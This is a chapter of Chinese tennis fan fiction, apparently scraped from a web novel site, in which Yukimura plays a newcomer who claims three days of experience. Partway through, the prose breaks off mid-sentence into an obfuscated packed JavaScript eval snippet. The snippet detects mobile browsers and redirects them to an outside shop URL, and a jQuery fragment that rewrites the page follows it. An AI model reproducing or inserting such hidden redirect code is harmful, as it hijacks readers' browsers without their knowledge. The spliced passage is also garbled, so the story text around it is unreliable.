文趣网 > 都市小说 > [综]我在立海大当纯美骑士的那些年 > 6. 神之子与骑士(上)
    球场上,幸村精市和银枝的比赛正式开始。

    立海大网球部的正选们三三两两地站在场边,有的抱着手臂,有的蹲在地上,有的靠着铁丝网。没有人大声说话,所有人都想知道,这个拿着一朵玫瑰向王者宣战的一年级生,到底有几斤几两。

    柳莲二翻开笔记本,右手握笔,目光透过半闭的眼睑落在银枝身上。

    他在记录。

    每一个动作,每一次跑动,每一个击球习惯都会变成数据,写进那本被立海大众称为“军师秘籍”的笔记本里。

    “一局定胜负。幸村发球。”

    柳生比吕士坐在裁判椅上,推了推眼镜,举起右手。

    “Ready——”

    “Play!”

    幸村抛起球。

    黄色的球体在阳光下划出一道优美的弧线,他的身体随之转动,球拍在空中划过——

    “啪。”

    球落地的声音在场地上炸开,干净利落。

    落点?底线和边线的夹角,最刁钻的位置,精准得像是用尺子量过的。

    银枝没有动。

    不是反应不过来,而是他看出来了这颗球的旋转,让他即使接到也无法打出有威胁的回击。与其强行接球,不如先观察。

    “15-0。”

    柳生的声音平静无波。

    场边,切原赤也蹲在地上,眼睛发亮:“部长的发球还是这么变态。”

    “闭嘴看。”真田低沉地说。

    切原缩了缩脖子。

    幸村第二颗发球。

    这一次,银枝动了。

    他的脚步极快,从底线中央冲到反手位,球拍迎着来球——

    “啪。”

    球被回了过去。

    轨迹不高不低,落点在幸村的正手位中场。

    幸村微微挑眉,脚步一错,正手抽击——

    球速极快,直冲银枝的脚下。

    银枝后退一步,勉强将球挡回。

    但回球质量太差,被幸村上网截击,轻巧地放了一个短球。

    银枝冲上前,球拍够到了球,但球刚刚过网就被幸村等在网前的球拍截住。

    “30-0。”

    切原咂了咂嘴:“这小子反应挺快,但还是差得远。”

    丸井文太吹着泡泡糖,含糊不清地说:“你觉得你能接住部长的发球吗?”

    “我当然能!”切原理直气壮,“但接住了也回不去。”

    “那你有什么资格说他差得远?”

    切原:“……”

    丸井的嘴,有时候比真田的铁拳还毒。

    柳莲二在笔记本上快速写了几行字。

    “银枝:反应速度极快,步法预判出色,但击球手法粗糙,回球缺乏威胁。”

    他抬起头,继续观察。

    比分来到1-0,幸村领先。

    换发球。

    银枝走到底线,从口袋里掏出一颗球。

    他深吸一口气,抛起球,动作娴熟,但不算很流畅。

    切原皱了皱眉:“他的发球动作……”

    “很标准。”柳莲二说,“但太标准了。”

    “什么意思?”

    “标准到像是照着教科书学的。”柳莲二睁开眼睛,“没有个人特色,没有调整,没有变化。这是……练了没多久的人才会有的特征。”

    切原似懂非懂地“哦”了一声。

    银枝发球。

    球速不快,落点也不刁钻,被幸村轻松回击。

    比赛进入相持。

    银枝的跑动很漂亮,柳莲二不得不承认,这是他见过的最有效率的步法。每一条跑动路线都是最优解,没有一步多余,没有一个浪费。

    但击球,是他的短板。

    他的回球要么太浅,被幸村上网截击;要么太正,被幸村直接抽击死角;要么出界,要么下网。

    “1-0,幸村领先。”

    “2-0,幸村领先。”

    “3-0,幸村领先。”

    切原蹲不住了,站起来,皱着眉头看。

    “柳前辈,他是不是……只会跑?”

    柳莲二没有回答。

    他在笔记本上又写了几行字。

    “银枝:身体素质顶级,运动神经超群,但网球技术严重不足。发球、接发、底线、网前,所有技术环节都处于‘初学者’水平。”

    “然而他的进步速度肉眼可见。”

    “第一局,他的回球深度只有底线前1.5米。第二局,已经能压到底线前0.5米。第三局,出现了两次压线球。”

    柳莲二停下笔,抬头看着那个红发少年。

    “这个人,到底练了多久的网球?”

    第四局,银枝的发球局。

    他的发球动作比第一局流畅了一些,只是“一些”,但在柳莲二的眼里,这种变化就像黑夜中的萤火虫一样明显。

    “他在调整。”柳莲二低声说。

    “调整什么?”切原凑过来。

    “发球的抛球高度。第一局他抛得太高了,导致击球点不稳定。现在他降低了十厘米左右,稳定性明显提高。”

    “……你看得这么细?”

    “这是我的工作。”

    球场上,银枝发球后迅速上网。

    这不是一个明智的选择,他的网前技术几乎为零。但他还是上了。

    幸村的回球擦网而过,落在银枝的脚边。

    银枝弯腰,球拍一挑。

    球高高飞起,越过幸村的头顶,落在底线附近。

    “Ace?”

    切原瞪大了眼睛。

    “不是。”柳莲二摇头,“是运气。”

    “你怎么知道?”

    “因为他的动作不像是有意为之。”柳莲二说,“挑高球需要精准的控制,他的动作幅度太大,球拍角度也不对,这是一次歪打正着。”

    但幸村没有给银枝第二次运气。

    下一球,他直接以一拍精准的反手直线球穿过了银枝的防线。

    “4-0。”

    场边的气氛有些微妙。

    没有人说话,但所有人都在想同一个问题:这个拿着玫瑰宣战的一年级生,似乎并不像他说的那样强大。

    真田弦一郎双手抱胸,脸上的表情看不出喜怒。

    柳生比吕士推了推眼镜,面无表情。

    仁王雅治靠在铁丝网上,嘴角挂着一丝似笑非笑的弧度。

    丸井文太吹着泡泡糖,眼神飘忽,像是在想晚饭吃什么。

    只有切原赤也,脸上的表情越来越复杂。

    不是失望,而是困惑。

    “柳前辈,”他凑到柳莲二耳边,压低声音,“你说这小子可能只打过几天网球?”

    柳莲二没有立刻回答。

    他翻开笔记本的前几页,那里记录着银枝入部申请时的体能测试数据,那是从学校档案里调出来的,银枝转学时的体检报告。

    “身高165cm,体重54kg,视力1.5,心肺功能优秀,肌肉力量远超同龄人平均水平……”

    “没有网球经历。”

    柳莲二的手指停在最后一行字上。

    “没有网球经历”是学校档案里的原话。柳莲二一开始以为这只是“没有参加过正式比赛”的意思,但现在看着场上的银枝,他开始怀疑自己的理解。

    “他之前打过网球吗?”柳莲二自言自语。

    切原没听懂:“啊?”

    “你看他的动作。”柳莲二指着银枝,“步法、跑动、站位这些不是没打过球的人能做出来的。但他的击球、发球、网前这些又确实像是初学者。”

    切原歪着头看了看:“所以他是打过还是没打过?”

    “我不知道。”柳莲二合上笔记本,“我需要问他本人。”

    第四局结束,比分4-0。

    短暂的换边休息。

    银枝走到场边,拿起水瓶喝水。他的呼吸有些急促,但表情平静。

    幸村站在对面,披着外套,双手插在口袋里,嘴角带着温和的笑意。

    “银枝君,”他询问,“你打了多久的网球?”

    银枝放下水瓶,想了想。

    “三天。”他说。

    声音不大,但球场很安静,所有人都听到了。

    切原的水壶第二次掉在地上。

    丸井的泡泡糖第二次炸开。

    柳生的镜片反着光,看不清表情。

    真田的手握紧了帽檐。

    仁王嘴角的笑意加深了一分。

    桑原张了张嘴,又闭上了。

    “三天?”切原第一个叫出来,“你说你只打了三天网球??”

    “是的。”银枝点头。

    “骗人的吧!!”切原指着银枝,“三天能打成这样??你当我傻??”

    银枝看着切原,认真地说:“我没有骗你。三天前,我甚至不知道网球拍怎么握。”

    “那你的跑动、你的步法、你的反应速度,这些是哪里来的?”

    “那是……”银枝顿了顿,“别的东西。”

    他没有解释“别的东西”是什么。

    切原还想追问,被真田一个眼神制止了。

    柳莲二翻开笔记本,在银枝的档案页上写下一行大字:

    “网球经验:三天(自称)。身体素质:远超同龄人。技术:初学者。潜力:不可估量。”

    他写完后,盯着那行字看了很久。

    然后又在最后加了一句话:

    “此人很有潜力。”

    比赛继续。

    幸村精市站在底线,发球。

    他的眼神变了。

    不是之前那种温和的、带着好奇的眼神,而是一种认真的、审视的、甚至带着一丝压迫感的眼神。

    “他认真了。”柳莲二低声说。

    “部长刚才没认真?”切原惊讶。

    “刚才只是试探。”柳莲二说,“现在才是真正的‘神之子’。”

    银枝感觉到了。

    幸村的球速变快了,角度更刁钻了,旋转更强烈了。

    而且,有一种说不出的压迫感,像是有什么东西在侵蚀他的感官。

    他的视线开始模糊,球拍握在手里的感觉变得陌生,球在飞过来的过程中似乎变成了好几个

    “啪。”

    球落地了。

    银枝甚至没有挥拍。

    “15-0。”

    柳生的声音响起。

    银枝低头看着自己的手。

    他的手在微微颤抖,不是因为累,而是因为——他感觉不到球拍了。

    不是真的感觉不到,而是那种“触感”被削弱了,像是隔了一层厚厚的手套。

    “这是……”银枝抬起头,看着对面的幸村。

    幸村微笑着,没有说话。

    他抛起球,第二发。

    “啪。”

    银枝这一次看清了球路,挥拍——

    但球拍击球的位置偏离了一厘米,球直接飞出了边线。

    “30-0。”

    银枝皱起眉头。

    他感觉到自己身体的异常了。

    不是身体本身出了问题,而是“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612278|205981||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    感知”被干扰了。

    视觉、触觉、甚至对时间的判断——都在变得模糊。

    切原看着场上的银枝,不知为什么,忽然有点心疼。

    “部长也太狠了吧,”他小声嘟囔,“对方才打了三天球……”

    “这是对对手的尊重。”真田沉声道。

    切原闭嘴了。

    第五局,幸村发球。

    银枝已经很难看清球的轨迹了。

    但他没有放弃。

    他闭上眼睛。

    切原愣了一下:“他干嘛?闭着眼睛打球?”

    柳莲二也愣了一下,然后睁开眼睛。

    “不对……他在用耳朵听。”

    “听?”

    “球击地的声音、球拍击球的声音、球的破空声——他能通过这些判断球的方向和落点。”

    切原张大了嘴:“这怎么可能?”

    “他的听觉远超常人。”柳莲二说,“或者说,他的所有感官都远超常人。”

    银枝闭着眼睛,挥拍。

    “啪。”

    球被回了过去。

    落点在幸村的反手位,压线。

    幸村看着那颗球,微微挑眉。

    “有趣。”他说。

    银枝睁开眼睛,看着自己的球拍,然后看着对面的幸村。

    “你的能力,”他说,“是侵蚀对手的五感。”

    幸村没有否认。

    “这是我目前见过的最‘美’的网球。”银枝说,“但它对我……效果不大。”

    幸村歪了歪头。

    “为什么?”

    银枝没有回答。

    他在心里想:因为你的“灭五感”太慢了,也太温柔了。

    比起他在旅途中遇到的那些“恶兆”——那些能够直接改变信念、扭曲现实、篡改记忆、吞噬灵魂的存在,幸村的灭五感就像是一阵微风。

    他能感觉到风,但风绝对吹不倒他。

    “再来。”银枝说。

    幸村笑了,“好。”

    第五局,银枝破掉了幸村的发球局。

    不是靠技术,他的技术还是那样粗

    靠的是“直觉”。

    他猜到了幸村每一颗球的落点。

    不是预判,不是分析,他就是知道。

    球会去哪里,球会怎么弹,幸村下一拍会打什么角度,他的身体比他的大脑更快地做出了反应。

    柳莲二的笔在笔记本上疯狂地写。

    “银枝,第五局,破发成功。”

    “方式:非技术性回击。无法分析。无法量化。”

    “他似乎能‘看到’球的轨迹。”

    “不是看到球的飞行路线,而是看到‘球应该去的地方’。”

    柳莲二停下笔,深呼吸一口气。

    比分来到4-2。

    幸村领先,但银枝破发了一局。

    场边的气氛完全变了。

    没有人再觉得这是一场一边倒的比赛。

    “这小子……”切原握紧了拳头,“他真的只打了三天?”

    丸井的泡泡糖已经不知道吹炸了多少次,他干脆不吹了,把嘴里的糖吐掉,重新塞了一块。

    “诶呀。”丸井感叹,“我打了六年网球了,感觉被他比下去了。”

    “你才六年。”桑原说,“我打了八年。”

    “那你更惨。”

    “……谢谢安慰。”

    柳生比吕士推了推眼镜,从裁判椅上走下来换仁王上去当裁判。

    他走到场边,站在柳莲二旁边。

    “你觉得他会赢吗?”柳生问。

    柳莲二摇了摇头。

    “不会。”

    “为什么?”

    “他的身体撑不住了。”柳莲二说,“前三局他消耗了太多体力。虽然他的体能比普通人强很多,但他的动作效率太低,因为技术不熟练,每一个动作都在浪费体力。”

    柳生看向球场。

    银枝的呼吸确实比之前更重了,汗水湿透了整件衣服,头发黏在额头上。

    但他的眼睛,依然很亮。

    “而且,”柳莲二说,“部长还没有拿出全部实力。”

    柳生沉默了。

    他知道柳莲二说的是对的。

    幸村的“灭五感”,不只是“侵蚀五感”那么简单。

    它的本质是“剥夺”——剥夺对手对网球的认知,剥夺对手对胜利的信心,剥夺对手站在球场上的资格。

    而银枝,只是一个打了三天网球的新手。

    他的网球认知,本来就还很脆弱。

    但他在第五局破发了。

    用他那稚嫩的、粗糙的、不成章法的网球。

    “有意思。”柳生说。

    “有意思。”柳莲二重复。

    两人对视一眼,同时看向了球场中央那个红发的少年。

    银枝站在底线,汗水从下巴滴落,但他的脊背挺得笔直。

    他握着球拍,像握着玫瑰。

    他站在球场上,像站在星海之间。

    “第六局,”仁王慵懒的声音从裁判椅上传来,“幸村发球。”

    “Ready——”

    “Play!”

    幸村抛起球。

    这一次,他的眼中,多了某种银枝从未见过的东西。

    不是杀意,不是兴奋,而是一种认真。

    纯粹的、不带任何杂质的认真。

    风吹过球场,卷起几片樱花瓣。

    银枝盯着那颗飞来的黄色小球,握紧了手中的球拍。

    比赛,还在继续。